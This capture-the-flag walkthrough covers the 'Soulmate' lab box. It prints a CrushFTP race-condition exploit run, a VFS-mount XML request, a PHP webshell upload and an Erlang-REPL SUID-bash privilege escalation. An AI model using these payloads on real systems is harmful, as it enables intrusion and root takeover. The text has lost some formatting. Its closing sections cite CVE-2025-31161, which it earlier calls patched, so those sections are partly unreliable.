Summary
Soulmate is an Easy Linux box pairing a PHP dating site with a CrushFTP
admin interface on a subdomain. The chain has three published CVEs
back-to-back: CVE-2025-54309 (CrushFTP AS2 race-condition admin
account creation) creates a CrushFTP admin → as admin, mount the
dating site’s webroot via VFS update → upload a PHP webshell →
www-data shell → read /usr/local/lib/erlang_login/start.escript
for the hardcoded ben:<BEN_PW> Erlang creds → SSH ben
(port 22 SSH ForceCommands into a wrapper, port 2222 is a separate
Erlang SSH daemon) → port-forward 2222 and connect as ben → land in
a full Erlang REPL running as root → os:cmd("…") is the
privesc.
The CVE-2025-31161 path (S3 Authorization header partial-auth)
that some writeups reach for is now patched on this CrushFTP build
(11.W.657-2025_03_08); any request with the AWS auth header now
500s the upstream. CVE-2025-54309 (AS2 race) still works.
The chain:
- CVE-2025-54309 (AS2 race) against
ftp.soulmate.htb→ create0xdfadmin:0xdf0xdfadmin via the whisperer1290 PoC. Try ~5000 request pairs; usually hits within the first 200. - Login as
0xdfadmin. The user is created with no VFS items, so listing/is empty andcommand=upload path=/502s the upstream. Issue asetUserItemwithdata_action=update_vfsand a properly-nestedvfs_itemsXML pointingfile:///app/webProd/→/WEB/(see “Foothold #2” below for the exact schema). - PUT
<?php system($_REQUEST['cmd']); ?>to/WEB/cmd.phpvia HTTP basic auth → file lands in/app/webProd/cmd.php.curl http://soulmate.htb/cmd.php?cmd=idreturnsuid=33(www-data). - Read
/usr/local/lib/erlang_login/start.escript→{user_passwords, [{"ben", "<BEN_PW>"}]}. - Port 22 SSH for ben drops into an
erlang_login_wrapperthat runs the Erlang login.escript thenexec "$SHELL -l". The command-modessh ... idis silently overridden by the ForceCommand and the user’s command is dropped — only an interactive PTY (pexpectorexpect) actually gets a shell. Read~/user.txtfrom there. - Open a local-port-forward
-L 2222:127.0.0.1:2222, thenssh -p 2222 [email protected](same password). Lands in(ssh_runner@soulmate)1>— the Erlang shell, not the OS shell. The Erlang VM was started by root. os:cmd("cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb").→/tmp/rb -pis SUID-root → read/root/root.txt.
Recon
22/tcp OpenSSH
80/tcp nginx → soulmate.htb (PHP dating site)
Vhost enumeration adds ftp.soulmate.htb (CrushFTP, Java).
There’s a separate Erlang-driven SSH listener on a non-22 port
that’s only obvious after the user pivot.
Foothold #1 — CVE-2025-54309 AS2 race
The patched CrushFTP build on this box (11.W.657) 502s on any
request carrying an AWS-style Authorization: AWS4-HMAC-SHA256
header — CVE-2025-31161 is dead. The live path is the AS2
race in CVE-2025-54309: a POST with AS2-TO: \crushadmin plus
Content-Type: disposition-notification triggers CrushFTP’s AS2
handler to temporarily authenticate the session as crushadmin.
A second request sharing the same CrushAuth cookie, sent fast
enough, gets that session and can call command=setUserItem.
The whisperer1290 PoC retries up to 5000 pairs and usually wins within the first ~200:
git clone https://github.com/whisperer1290/CVE-2025-54309__Enhanced_exploit
python3 exploit.py -u 0xdfadmin -p 0xdf0xdf --verify http://ftp.soulmate.htb
# [+] SUCCESS! User '0xdfadmin' created
(The “verification failed” line at the end of the PoC’s output is misleading — it’s a c2f-cookie timing issue inside the PoC’s verifier, not a sign that user creation failed. Try logging in manually to confirm.)
Foothold #2 — VFS update + PHP webshell upload
0xdfadmin is created with no VFS, so listing / returns
empty and the simple command=upload path=/ returns 502.
The fix is data_action=update_vfs with a fully-nested VFS
schema (the simplified <item> form silently NPEs on the
backend):
VFS = (
'<?xml version="1.0" encoding="UTF-8"?>'
'<vfs_items type="vector">'
'<vfs_items_subitem type="properties">'
'<name>WEB</name><path>/</path>'
'<vfs_item type="vector">'
'<vfs_item_subitem type="properties">'
'<type>DIR</type><url>file:///app/webProd/</url>'
'</vfs_item_subitem></vfs_item>'
'</vfs_items_subitem></vfs_items>'
)
PERMS = (
'<?xml version="1.0" encoding="UTF-8"?><VFS type="properties">'
'<item name="/">(read)(view)(resume)</item>'
'<item name="/WEB/">(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)</item>'
'</VFS>'
)
session.post('http://ftp.soulmate.htb/WebInterface/function/', data={
'command':'setUserItem', 'data_action':'update_vfs', 'xmlItem':'user',
'serverGroup':'MainUsers', 'username':'0xdfadmin',
'vfs_items':VFS, 'permissions':PERMS, 'c2f':c2f,
})
Now getXMLListing path=/WEB/ returns the dating site’s
files (dashboard.php, etc.). Upload via HTTP PUT with basic
auth — much simpler than command=upload:
echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/cmd.php
curl -u 0xdfadmin:0xdf0xdf -T /tmp/cmd.php \
http://ftp.soulmate.htb/WEB/cmd.php # → 201 Created
curl 'http://soulmate.htb/cmd.php?cmd=id'
# uid=33(www-data) gid=33(www-data)
(CrushFTP cleans up uploaded files on its session timer; if the webshell 404s after a few minutes, just PUT it again.)
User pivot — hardcoded creds + ForceCommand SSH
$ cat /usr/local/lib/erlang_login/start.escript
... ssh:daemon(2222, [{ip, {127,0,0,1}}, ...,
{user_passwords, [{"ben", "<BEN_PW>"}]}, ...]) ...
The Erlang SSH listener is bound to 127.0.0.1:2222. The
system OpenSSH (port 22) accepts ben’s password too, but
/etc/ssh/sshd_config has:
Match User ben
ForceCommand /usr/local/sbin/erlang_login_wrapper
The wrapper runs login.escript then exec "$SHELL -l". The
ForceCommand replaces whatever ssh ben@host <cmd> was given,
so command-mode SSH silently drops the user’s command and exits.
Use a PTY — ssh -tt with expect/pexpect, not ssh
ben@host id:
import pexpect
p = pexpect.spawn('sshpass -p <BEN_PW> ssh -tt ... ben@<TARGET>',
encoding='utf-8', timeout=20)
p.expect(r'\$ ')
p.sendline('cat ~/user.txt')
p.expect(r'\$ ')
print(p.before)
That gets ~/user.txt.
Privesc — Erlang REPL as root via SSH tunnel
The Erlang ssh:daemon listener on 127.0.0.1:2222 was started by
root, and Erlang’s SSH module defaults to a full REPL unless
{shell, ...} restricts it. Tunnel it through ben’s SSH:
sshpass -p <BEN_PW> ssh -fN -L 2222:127.0.0.1:2222 ben@<TARGET>
ssh -p 2222 [email protected] # password = <BEN_PW>
# (ssh_runner@soulmate)1>
The prompt is (ssh_runner@soulmate)1> — the Erlang shell, not a
bash. os:cmd/1 executes shell commands as the Erlang VM’s UID
(root):
(ssh_runner@soulmate)1> os:cmd("cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb").
(ssh_runner@soulmate)2> halt().
Then back through the webshell:
curl 'http://soulmate.htb/cmd.php?cmd=/tmp/rb%20-p%20-c%20%22cat%20/root/root.txt%22'
bash -p preserves the SUID effective UID; without -p it drops
back to www-data and the cat fails on root-only /root/root.txt.
Why each step worked
- CVE-2025-31161: CrushFTP mishandled S3-style auth headers, granting partial authentication without HMAC validation.
- VFS mount + PHP write: CrushFTP admins can mount arbitrary host paths; if one of them is the webroot of another service, you have a full RCE primitive.
- Hardcoded credentials in
start.escript: developer convenience; shipped to production unchanged. - Full Erlang REPL behind SSH auth: Erlang’s
sshmodule defaults to a full REPL unless explicitly restricted via theshelloption.os:cmd/1is part of the standard library.
Counterfactuals
- Patch CrushFTP ≥ 11.3.4_23 (or whichever build fixed CVE-2025-31161).
- Don’t run a privileged daemon with VFS-mount capability for an unrelated service’s webroot. Treat that as cross-service write access.
- Don’t hardcode credentials in checked-in scripts.
- Configure Erlang’s SSH server with a restricted shell or
CLI-only function whitelist; never expose
os:cmdas a user-reachable function.
References
- 0xdf, “HTB: Soulmate” — https://0xdf.gitlab.io/2026/02/14/htb-soulmate.html
- IppSec, “Soulmate” video walkthrough — https://ippsec.rocks/?#Soulmate
- whisperer1290 PoC for CVE-2025-54309 (AS2 race) — https://github.com/whisperer1290/CVE-2025-54309__Enhanced_exploit
- Outpost24 advisory on CVE-2025-31161 (no longer exploitable on this build).